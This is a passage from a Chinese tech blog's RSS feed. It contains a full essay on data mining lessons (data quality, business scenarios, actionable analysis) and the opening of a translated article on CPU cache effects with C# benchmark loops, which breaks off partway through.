class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"API设计：用流畅接口构造内部DSL\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_title\">API设计：用流畅接口构造内部DSL</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10337.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>77</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>数据的游戏：冰与火</title>\n\t\t<link>https://coolshell.cn/articles/10192.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10192.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 31 Jul 2013 00:11:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Big Data]]></category>\n\t\t<category><![CDATA[Data Mining]]></category>\n\t\t<category><![CDATA[Machine Learning]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10192</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我对数据挖掘和机器学习是新手，从去年7月份在Amazon才开始接触，而且还是因为工作需要被动接触的，以前都没有接触过，做的是需求预测机器学习相关的。后来，到了淘...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10192.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10192.html\">数据的游戏：冰与火</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-10305\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/game-of-thrones-300x206.jpg\" width=\"300\" height=\"206\" />我对数据挖掘和机器学习是新手，从去年7月份在Amazon才开始接触，而且还是因为工作需要被动接触的，以前都没有接触过，做的是需求预测机器学习相关的。后来，到了淘宝后，自己凭兴趣主动地做了几个月的和用户地址相关数据挖掘上的工作，有一些浅薄的心得。下面这篇文章主要是我做为一个新人仅从事数据方面技术不到10个月的一些心得，也许对你有用，也许很傻，不管怎么样，欢迎指教和讨论。</p>\n<p>另外，注明一下，这篇文章的标题模仿了一个美剧《<a href=\"http://movie.douban.com/subject/3016187/\" target=\"_blank\">权力的游戏：冰与火之歌</a>》。在数据的世界里，我们看到了很多很牛，很强大也很有趣的案例。但是，<strong>数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤</strong>。</p>\n<h4>数据挖掘中的三种角色</h4>\n<p>在Amazon里从事机器学习的工作时，我注意到了Amazon玩数据的三种角色。</p>\n<ul>\n<li><strong>Data Analyzer：数据分析员</strong>。这类人的人主要是分析数据的，从数据中找到一些规则，并且为了数据模型的找不同场景的Training Data。另外，这些人也是把一些脏数据洗干净的的人。</li>\n</ul>\n<ul>\n<li><strong>Research Scientist：研究科学家</strong>。这种角色主要是根据不同的需求来建立数据模型的。他们把自己戏称为不近人间烟火的奇异性物种，就像《生活大爆炸》里的 那个Sheldon一样。这些人基本上玩的是数据上的科学</li>\n</ul>\n<ul>\n<li><strong>Software Developer ：软件开发工程师</strong>。主要是把 Scientist 建立的数据模型给实现出来，交给Data Analyzer去玩。这些人通常更懂的各种机器学习的算法。</li>\n</ul>\n<p>我相信其它公司的做数据挖掘或是机器学习的也就这三种工作，或者说这三种人，对于我来说，</p>\n<p><span id=\"more-10192\"></span></p>\n<ul>\n<li><strong>最有技术含量的是 Scientist</strong>，因为数据建模和抽取最有意义的向量，以及选取不同的方法都是这类人来决定的。这类人，我觉得在国内是找不到的。</li>\n</ul>\n<ul>\n<li><strong>最苦逼，也最累，但也最重要的是Data Analyzer</strong>，他们的活也是这三个角色中最最最重要的（注意：我用了三个最）。因为，无论你的模型你的算法再怎么牛，在一堆烂数据上也只能干出一堆垃圾的活来。正所谓：Garbage In, Garbage Out ！但是这个活是最脏最累的活，也是让人最容易退缩的活。</li>\n</ul>\n<ul>\n<li><strong>最没技术含量的是Software Developer</strong>。现在国内很多玩数据的都以为算法最重要，并且，很多技术人员都在研究机器学习的算法。错了，最重要的是上面两个人，一个是苦逼地洗数据的Data Analyzer，另一个是真正懂得数据建模的Scientist！而像什么<a title=\"K-Means 算法\" href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\">K-Means</a>，<a title=\"K Nearest Neighbor 算法\" href=\"https://coolshell.cn/articles/8052.html\" target=\"_blank\">K Nearest Neighbor</a>，或是别的什么贝叶斯、回归、决策树、随机森林等这些玩法，都很成熟了，而且又不是人工智能，说白了，这些算法在机器学习和数据挖掘中，似乎就像Quick Sort之类的算法在软件设计中基本没什么技术含量。当然，我不是说算法不重要，我只想说这些算法在整个数据处理中是最不重要的。</li>\n</ul>\n<h4>数据的质量</h4>\n<p><strong>目前所流行的Buzz Word——大数据是相当误导人的。在我眼中，<span style=\"color: #ff0000;\">数据不分大小，只分好坏</span>。</strong></p>\n<p>在处理数据的过程中，我第一个感受最大的就是数据质量。下面我分几个案例来说明：</p>\n<h5>案例一：数据的标准</h5>\n<p>在Amazon里，所有的商品都有一个唯一的ID，叫ASIN——Amazon Single Identify Number，这个ID是用来标识商品的唯一性的（来自于条形码）。也就是说，无论是你把商品描述成什么样，只要ASIN一样，这就是完完全全一模一样的商品。</p>\n<p>这样，就不像淘宝一样，当你搜索一个iPhone，你会出现一堆各种各样的iPhone，有的叫“超值iPhone”，有的叫“苹果iPhone”，有的叫“智能手机iPhone”，有的叫“iPhone 白色/黑色”……，这些同一个商品不同的描述是商家为了吸引用户。但是带来的问题有两点：</p>\n<p style=\"padding-left: 30px;\">1）<strong>用户体验不好</strong>。以商品为中心的业务模型，对于消费者来说，体验明显好于以商家为中心的业务模型。</p>\n<p style=\"padding-left: 30px;\">2）<strong>只要你不能正确读懂（识别）数据，你后面的什么算法，什么模型统统没用</strong>。</p>\n<p>所以，只要你玩数据，你就会发现，<strong>如果数据的标准没有建立起来，干什么都没用。数据标准是数据质量的第一道关卡</strong>，没这个玩意，你就什么也别玩了。所谓数据的标准，为数据做唯一标识只是其中最最基础的一步，数据的标准还单单只是这个，<strong>更重要的是把数据的标准抽象成数学向量，没有数学向量，后面也无法挖掘</strong>。</p>\n<p>所以，你会看到，<strong>洗数据的大量的工作就是在把杂乱无章的数据归并聚合，这就是在建立数据标准。这里面绝对少不了人肉的工作</strong>。无非就是：</p>\n<ul>\n<li><span style=\"line-height: 13px;\">聪明的人在数据产生之前就定义好标准，并在数据产生之时就在干数据清洗的工作。</span></li>\n</ul>\n<ul>\n<li>一般的人是在数据产生并大量堆积之后，才来干这个事。</li>\n</ul>\n<p>另外，说一下Amazon的ASIN，这个事从十多年前就开始了，我在Amazon的内网里看到的资料并没有说为什么搞了个这样一个ID，我倒觉得这并不是因为Amazon因为玩数据发现必需建议个商品ID，也许因为Amazon的业务模型就是设计成以“商品为中心”的。今天，这个ASIN依然有很多很多的问题，ASIN一样不能完全保证商品就是一样的，ASIN不一样也不代表商品不一样，不过90%以上的商品是保证的。Amazon有专门的团队Category Team，里面有很多业务人员天天都在拼命地在对ASIN的数据进行更正。</p>\n<h5>案例二：数据的准确</h5>\n<p>用户地址是我从事过数据分析的另一个事情。我还记得当时看到那数以亿计的用户地址的数据的那种兴奋。但是随后我就兴奋不起来了。因为地址是用户自己填写的，这里面有很多的坑，都不是很容易做的。</p>\n<p>第一个是假/错地址，因为有的商家作弊或是用户做测试。所以地址是错的，</p>\n<ul>\n<li>比如，直接就输入“该地址不存在”，“13243234asdfasdi”之类的。这类的地址是可以被我的程序识别出来的。</li>\n</ul>\n<ul>\n<li>还有很难被我的程序所识别出来的。比如：“宇宙路地球小区”之类的。但这类地址可以被人识别出来。</li>\n</ul>\n<ul>\n<li>还有连人都识别不出来的，比如：“北京市东四环中路23号南航大厦5楼540室”，这个地址根本不存在。</li>\n</ul>\n<p>第二个是真地址，但是因为用户写的不标准，所以很难处理，比如：</p>\n<ul>\n<li><span style=\"line-height: 13px;\">缩写：“建国门外大街” 和 “建外大街”，“中国工商银行”和“工行”……</span></li>\n</ul>\n<ul>\n<li>错别字：“潮阳门”，“通慧河”……</li>\n</ul>\n<ul>\n<li>颠倒：“东四环中路朝阳公园” 和 “朝阳公园 （靠东四环）” ……</li>\n</ul>\n<ul>\n<li>别名：有的人写的是开发商的小区名“东恒国际”，有的则是写行政的地名“八里庄东里”……</li>\n</ul>\n<p>这样的例子多得不能再多了。可见数据如果不准确，会增加你处理的难度。有个比喻非常好，<strong>玩数据的就像是在挖金矿一样，如果含金量高，那么，挖掘的难度就小，也就容易出效果，如果含金量低，那么挖掘的难度就大，效果就差</strong>。</p>\n<p>上面，我给了两个案例，旨在说明——</p>\n<p style=\"padding-left: 30px;\"><strong>1）数据没有大小之分，只有含金量大的数据和垃圾量大的数据之分</strong>。</p>\n<p style=\"padding-left: 30px;\"><strong>2）数据清洗是一件多么重要的工作，这也是一件人肉工作量很大的工作。</strong></p>\n<p><strong></strong>所以，这个工作最好是在数据产生的时候就一点一滴的完成。</p>\n<p>有一个观点：<strong>如果数据准确度在60%的时候，你干出来的事，一定会被用户骂！如果数据准确度在80%左右，那么用户会说，还不错！只有数据准确度到了90%的时候，用户才会觉得真牛B。但是从数据准确度从80%到90%要付出的成本要比60% 到 80%的付出大得多得多</strong>。大多数据的数据挖掘团队都会止步于70%这个地方。因为，再往后，这就是一件相当累的活。</p>\n<h4>数据的业务场景</h4>\n<p>我不知道有多少数据挖掘团队真正意识到了业务场景和数据挖掘的重要关系？<strong>我们需要知道，根本不可能做出能够满足所有业务的数据挖掘和分析模型</strong>。</p>\n<p>推荐音乐视频，和电子商务中的推荐商品的场景完全不一样。电商中，只要你买了一个东西没有退货，那么，有很大的概率我可以相信你是喜欢这个东西的，然后，对于音乐和视频，你完全不能通过用户听了这首歌或是看了这个视频就武断地觉得用户是喜欢这首歌和这个视频的，所以，我们可以看到，推荐算法在不同的业务场景下的实现难度也完全不一样。</p>\n<p>说到推荐算法，你是不是和我一样，有时候会对推荐有一种感觉——<strong>推荐就是一种按不同维度的排序的算法</strong>。我个人以为，就提一下推荐这个东西在某些业务场景下是比较Tricky的，比如，推荐有两种（不是按用户关系和按物品关系这两种），</p>\n<ul>\n<li>一种是共性化推荐，结果就是推荐了流行的东西，这也许是好 的，但这也许会是用户已知的东西，比如，到了北京，我想找个饭馆，你总是给我推荐烤鸭，我想去个地方，你总是给我推荐天安门故宫天坛（因为大多数人来北京就是吃烤鸭，就是去天安门的），这些我不都知道了嘛，还要你来推荐？另外，共性化的东西通常是可以被水军刷的。</li>\n</ul>\n<ul>\n<li>另一种是一种是个性化推荐，这个需要分析用户的个体喜好，好的就是总是给我我喜欢的，不好的就是也许我的口味会随我的年龄和环境所改变，而且，总是推荐符合用户口味的，不能帮用户发掘新鲜点。比如，我喜欢吃辣的，你总是给我推荐川菜和湘菜，时间长了我也会觉得烦的。</li>\n</ul>\n<p><strong>推荐有时并不是民主投票，而是专业用户或资深玩家的建议；推荐有时并不是推荐流行的，而是推荐新鲜而我不知道的</strong>。你可以看到，不同的业务场景，不同的产品形态下的玩法可能完全不一样，</p>\n<p>另外，就算是对于同一个电子商务来说，书、手机 和服装的业务形态完全不一样。我之前在Amazon做Demand Forecasting（用户需求预测）——通过历史数据来预测用户未来的需求。</p>\n<ul>\n<li>对于书、手机、家电这些东西，在Amazon里叫Hard Line的产品，你可以认为是“标品”（但也不一定），预测是比较准的，甚至可以预测到相关的产品属性的需求。</li>\n</ul>\n<ul>\n<li>但是地于服装这样的叫Soft Line的产品，Amazon干了十多年都没有办法预测得很好，因为这类东西受到的干扰因素太多了，比如：用户的对颜色款式的喜好，穿上去合不合身，爱人朋友喜不喜欢…… 这类的东西太容易变了，买得人多了反而会卖不好，所以根本没法预测好，更别Stock/Vender Manager 提出来的“预测某品牌的某种颜色的衣服或鞋子”。</li>\n</ul>\n<p>对于需求的预测，我发现，长期在这个行业中打拼的人的预测是最准的，什么机器学习都是浮云。机器学习只有在你要面对的是成千上万种不同商品和品类的时候才会有意义。</p>\n<p><strong>数据挖掘不是人工智能，而且差得还太远。不要觉得数据挖掘什么事都能干，找到一个合适的业务场景和产品形态，比什么都重要</strong>。</p>\n<h4>数据的分析结果</h4>\n<p>我看到很多的玩大数据的，基本上干的是数据统计的事，从多个不同的维度来统计数据的表现。最简单最常见的统计就是像网站统计这样的事。比如：PV是多少，UV是多少，来路是哪里，浏览器、操作系统、地理、搜索引擎的分布，等等，等等。</p>\n<p>唠叨一句，千万不要以为，你一天有十几个T的日志就是数据了，也不要以为你会用Hadoop/MapReduce分析一下日志，这就是数据挖掘了，说得难听一点，你在做的只不过是一个统计的工作。那几个T的Raw Data，基本上来说没什么意义，只能叫日志，连数据都算不上，只有你统计出来的这些数据才是有点意义的，才能叫数据。</p>\n<p>当一个用户在面对着自己网店的数据的时候，比如：每千人有5个人下单，有65%的访客是男的，18-24岁的人群有30%，等等。甚至你给出了，你打败了40%同类型商家的这样的数据。作为一个商户，面对这些数据时，大多数人的表现是完全不知道自己能干什么？是把网站改得更男性一点，还是让年轻人更喜欢一点？完全不知道所措。</p>\n<p>只要你去看一看，你会发现，好些好些的数据分析出来的结果，看上去似乎不错，但是其实完全不知道下一步该干什么？</p>\n<p>所以，我觉得，<strong>数据分析的结果并不仅仅只是把数据呈现出来，而更应该关注的是通过这些数据后面可以干什么？如果看了数据分析的结果后并不知道可以干什么，那么这个数据分析是失败的。</strong></p>\n<h4>总结</h4>\n<p>综上所述，下面是我觉得数据挖掘或机器学习最重要的东西：</p>\n<p style=\"padding-left: 30px;\">1）<strong>数据的质量</strong>。分为数据的标准和数据的准确。数据中的杂音要尽量地排除掉。为了数据的质量，大量人肉的工作少不了。</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据的业务场景</strong>。我们不可能做所有场景下的来，所以，业务场景和产品形态很重要，我个人感觉业务场景越窄越好。</p>\n<p style=\"padding-left: 30px;\">3）<strong>数据的分析结果</strong>，要让人能看得懂，知道接下来要干什么，而不是为了数据而数据。</p>\n<p>搞数据挖掘的人很多，但成功的案例却不多（相比起大量的尝试来说），就目前而言，<strong>我似乎觉得目前的数据挖掘的技术是一种过渡技术，还在摸索阶段。另外，好些数据挖掘的团队搞得业务不业务，技术不技术的，为其中的技术人员感到惋惜</strong>……</p>\n<p>不好意思，我只给出了问题，没有建议，这也说明数据分析中有很多的机会……</p>\n<p><span style=\"color: #770000; font-size: 12pt;\">最后，还要提的一个是“<span style=\"color: #cc0000;\"><strong>数据中的个人隐私问题</strong></span>”，这似乎就像那些有悖伦理的黑魔法一样，你要成功就得把自己变得黑暗。是的，<strong>数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤</strong>。</span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/8052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" alt=\"K Nearest Neighbor 算法\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8052.html\" class=\"wp_rp_title\">K Nearest Neighbor 算法</a></li><li ><a href=\"http://coolshell.cn/articles/7779.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/K-Means-150x150.gif\" alt=\"K-Means 算法\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7779.html\" class=\"wp_rp_title\">K-Means 算法</a></li><li ><a href=\"http://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"http://coolshell.cn/articles/7048.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg\" alt=\"挑战无处不在\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7048.html\" class=\"wp_rp_title\">挑战无处不在</a></li><li ><a href=\"http://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"http://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10192.html\">数据的游戏：冰与火</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10192.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>127</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>7个示例科普CPU Cache</title>\n\t\t<link>https://coolshell.cn/articles/10249.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10249.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Tue, 30 Jul 2013 01:05:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[cache]]></category>\n\t\t<category><![CDATA[CPU]]></category>\n\t\t<category><![CDATA[并发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10249</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 翻译投稿） CPU cache一直是理解计算机体系架构的重要知识点，也是并发编程设计中的技术难点，而且相关参考资料如同过江之鲫，浩...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10249.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10249.html\">7个示例科普CPU Cache</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 翻译投稿）</strong></p>\n<p>CPU cache一直是理解计算机体系架构的重要知识点，也是并发编程设计中的技术难点，而且相关参考资料如同过江之鲫，浩瀚繁星，阅之如临深渊，味同嚼蜡，三言两语难以入门。正好网上有人推荐了微软大牛Igor Ostrovsky一篇博文<strong>《漫游处理器缓存效应》</strong>，文章不仅仅用7个最简单的源码示例就将CPU cache的原理娓娓道来，还附加图表量化分析做数学上的佐证，个人感觉这种案例教学的切入方式绝对是俺的菜，故而忍不住贸然译之，以飨列位看官。</p>\n<p>原文地址：<a href=\"http://igoro.com/archive/gallery-of-processor-cache-effects/\">Gallery of Processor Cache Effects</a></p>\n<p>大多数读者都知道cache是一种快速小型的内存，用以存储最近访问内存位置。这种描述合理而准确，但是更多地了解一些处理器缓存工作中的“烦人”细节对于理解程序运行性能有很大帮助。</p>\n<p>在这篇博客中，我将运用代码示例来详解cache工作的方方面面，以及对现实世界中程序运行产生的影响。</p>\n<p>下面的例子都是用C#写的，但语言的选择同程序运行状况以及得出的结论几乎没什么影响。</p>\n<h4>示例1：内存访问和运行</h4>\n<p>你认为相较于循环1，循环2会运行多快？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int[] arr = new int[64 * 1024 * 1024];\n\n// Loop 1\nfor (int i = 0; i &lt; arr.Length; i++) arr[i] *= 3;\n\n// Loop 2\nfor (int i = 0; i &lt; arr.Length; i += 16) arr[i] *= 3;</pre>\n<p><span id=\"more-10249\"></span></p>\n<p>第一个循环将数组的每个值乘3，第二个循环将每16个值乘3，第二个循环只做了第一个约6%的工作，但在现代机器上，两者几乎运行相同时间：在我机器上分别是80毫秒和78毫秒。</p>\n<p>两个循环花费相同时间的原因跟内存有关。<strong>循环执行时间长短由数组的内存访问次数决定的，而非整型数的乘法运算次数。</strong>经过下面对第二个示例的解释，你会发现硬件对这两个循环的主存访问次数是相同的。</p>\n<h4>示例2：缓存行的影响</h4>\n<p>让我们进一步探索这个例子。我们将尝试不同的循环步长，而不仅仅是1和16。</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">for (int i = 0; i &lt; arr.Length; i += K) arr[i] *= 3;</code></p>\n<p>下图为该循环在不同步长(K)下的运行时间：</p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"running times of this loop for different step values (K)\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/01/image6.png\" /></p>\n<p>注意当步长在1到16范围内，循环运行时间几乎不变。但从16开始，每次步长加倍，运行时间减半。</p>\n<p>背后的原因是今天的CPU不再是按字节访问内存，而是以64字节为单位的块(chunk)拿取，称为一个缓存行(cache line)。当你读一个特定的内存地址，整个缓存行将从主存换入缓存，并且访问同一个缓存行内的其它值的开销是很小的。</p>\n<p>由于16个整型数占用64字节（一个缓存行），for循环步长在1到16之间必定接触到相同数目的缓存行：即数组中所有的缓存行。当步长为32，我们只有大约每两个缓存行接触一次，当步长为64，只有每四个接触一次。</p>\n<p>理解缓存行对某些类型的程序优化而言可能很重要。比如，数据字节对齐可能决定一次操作接触1个还是2个缓存行。那上面的例子来说，很显然操作不对齐的数据将损失一半性能。</p>\n<h4>示例3：L1和L2缓存大小</h4>\n<p>今天的计算机具有两级或三级缓存，通常叫做L1、L2以及可能的L3（译者注：如果你不明白什么叫二级缓存，可以参考<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\">这篇精悍的博文</a>lol）。如果你想知道不同缓存的大小，你可以使用系统内部工具<a href=\"http://technet.microsoft.com/en-us/sysinternals/cc835722.aspx\" target=\"_blank\">CoreInfo</a>，或者Windows API调用<a href=\"http://msdn.microsoft.com/en-us/library/ms683194(VS.85).aspx\" target=\"_blank\">GetLogicalProcessorInfo</a>。两者都将告诉你缓存行以及缓存本身的大小。</p>\n<p>在我的机器上，CoreInfo现实我有一个32KB的L1数据缓存，一个32KB的L1指令缓存，还有一个4MB大小L2数据缓存。L1缓存是处理器独享的，L2缓存是成对处理器共享的。</p>\n<p>Logical Processor to Cache Map:<br />\n*&#8212; Data Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n*&#8212; Instruction Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n-*&#8211; Data Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n-*&#8211; Instruction Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n**&#8211; Unified Cache 0, Level 2, 4 MB, Assoc 16, LineSize 64<br />\n&#8211;*- Data Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n&#8211;*- Instruction Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n&#8212;* Data Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n&#8212;* Instruction Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64<br />\n&#8211;** Unified Cache 1, Level 2, 4 MB, Assoc 16, LineSize 64</p>\n<p>（译者注：作者平台是四核机，所以L1编号为0~3，数据/指令各一个，L2只有数据缓存，两个处理器共享一个，编号0~1。关联性字段在后面例子说明。）</p>\n<p>让我们通过一个实验来验证这些数字。遍历一个整型数组，每16个值自增1——一种节约地方式改变每个缓存行。当遍历到最后一个值，就重头开始。我们将使用不同的数组大小，可以看到当数组溢出一级缓存大小，程序运行的性能将急剧滑落。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int steps = 64 * 1024 * 1024;\n// Arbitrary number of steps\nint lengthMod = arr.Length - 1;\nfor (int i = 0; i &lt; steps; i++)\n{\n    arr[(i * 16) &amp; lengthMod]++; // (x &amp; lengthMod) is equal to (x % arr.Length)\n}</pre>\n<p>下图是运行时间图表：<br />\n<img decoding=\"async\" class=\"aligncenter\" alt=\"cache size\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/02/image.png\" /></p>\n<p>你可以看到在32KB和4MB之后性能明显滑落——正好是我机器上L1和L2缓存大小。</p>\n<h4>示例4：指令级别并发</h4>\n<p>现在让我们看一看不同的东西。下面两个循环中你以为哪个较快？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int steps = 256 * 1024 * 1024;\nint[] a = new int[2];\n\n// Loop 1\nfor (int i=0; i&lt;steps; i++) { a[0]++; a[0]++; }\n\n// Loop 2\nfor (int i=0; i&lt;steps; i++) { a[0]++; a[1]++; }</pre>\n<p>结果是第二个循环约比第一个快一倍，至少在我测试的机器上。为什么呢？这跟两个循环体内的操作指令依赖性有关。</p>\n<p>第一个循环体内，操作做是相互依赖的（译者注：下一次依赖于前一次）：<br />\n<img decoding=\"async\" class=\"aligncenter\" alt=\"same value dependency\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/01/image.png\" /><br />\n但第二个例子中，依赖性就不同了：<br />\n<img decoding=\"async\" class=\"aligncenter\" alt=\"different values dependency\" src=\"http://igoro.com/wordpress/wp-content/uploads/2010/02/image2.png\" /></p>\n<p>现代处理器中对不同部分指令拥有一点并发性（译者注：跟流水线有关，比如Pentium处理器就有U/V两条流水线，后面说明）。这使得CPU在同一时刻访问L1两处内存位置，或者执行两次简单算术操作。在第一个循环中，处理器无法发掘这种指令级别的并发性，但第二个循环中就可以。</p>\n<p>[原文更新]：许多人在reddit上询问有关编译器优化的问题，像{ a[0]++; a[0]++; }能否优化为{ a[0]+=2; }。实际上，C#编译器和CLR JIT没有做优化——在数组访问方面。我用release模式编译了所有测试（使用优化选项），但我查询了JIT汇编语言证实优化并未影响结果。</p>\n<h4>示例5：缓存关联性</h4>\n<p>缓存设计的一个关键决定是确保每个主存块(chunk)能够存储在任何一个缓存槽里，或者只是其中一些（译者注：此处一个槽位就是一个缓存行）。</p>\n<p>有三种方式将缓存槽映射到主存块中：</p>\n<ol>\n<li><strong>直接映射(Direct mapped cache)</strong><br />\n每个内存块只能映射到一个特定的缓存槽。一个简单的方案是通过块索引chunk_index映射到对应的槽位(chunk_index % cache_slots)。被映射到同一内存槽上的两个内存块是不能同时换入缓存的。（译者注：chunk_index可以通过物理地址/缓存行字节计算得到）</li>\n<li><strong>N路组关联(N-way set associative cache)</strong><br />\n每个内存块能够被映射到N路特定缓存槽中的任意一路。比如一个16路缓存，每个内存块能够被映射到16路不同的缓存槽。一般地，具有一定相同低bit位地址的内存块将共享16路缓存槽。（译者注：相同低位地址表明相距一定单元大小的连续内存）</li>\n<li><strong>完全关联(Fully associative cache)</strong><br 